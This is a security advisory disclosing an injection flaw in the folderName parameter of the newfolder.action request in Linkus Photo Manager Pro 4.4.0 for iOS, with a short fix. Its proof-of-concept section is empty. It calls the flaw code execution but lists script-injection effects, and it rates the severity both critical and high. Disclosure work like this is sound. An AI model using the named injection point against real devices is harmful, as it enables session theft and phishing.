Abstract Advisory Information:

The Vulnerability Laboratory Research Team discovered a code execution vulnerability in the official Linkus Photo Manager Pro v4.4.0 iOS mobile web-application.

Vulnerability Disclosure Timeline:

2015-03-10: Public Disclosure (Vulnerability Laboratory)

Discovery Status:

Published

Affected Product(s):

Linkus
Product: Photo Manager Pro - iOS Mobile Web Application (Wifi) 4.4.0

Exploitation Technique:

Remote

Severity Level:

Critical

Technical Details & Description:

An arbitrary code execution vulnerability has been discovered in the official Linkus Photo Manager Pro v4.4.0 iOS mobile web-application.
The vulnerability allows remote attackers to execute malicious codes on the application-side of the vulnerable app to compromise the
target mobile device.

The vulnerability is located in the `folderName` value of the `newfolder.action` module. Remote attackers are able to manipulate the
`folderName` value in the `index.html#?w=300` file POST method request to compromise the application, user session information or connected
device components. The attacker tampers the new Folder POST method request to exchange the regular folderName value with special crafted code.
The input context is becomes visible at the main index service or subfolder (path). The vector of the vulnerability is located on the application-side.

The security risk of the arbitrary code execution vulnerability is estimated as high with a cvss (common vulnerability scoring system) count of 8.6.
Exploitation of the arbitrary code execution vulnerability requires no user interaction or privileged web-application user account with password.
Successful exploitation of the vulnerability results in session hijacking, persistent phishing, persistent external redirects and persistent
manipulation function or connected module context.

Request Method(s):
[+] [POST]

Vulnerable Module(s):
[+] newfolder.action

Vulnerable Parameter(s):
[+] folderName

Affected Module(s):
[+] Index (http://localhost:8080)
[+] Sub Category Path

Proof of Concept (PoC):

Solution - Fix & Patch:

The vulnerability can be patched by a secure parse and encode of the vulnerable folderName value. Restrict the input and filter the context by usage of a own exception to
prevent the application-side code execution.

Security Risk:

The security risk of the code execution vulnerability in the photo manager wifi service is estimated as high. (CVSS 8.6)
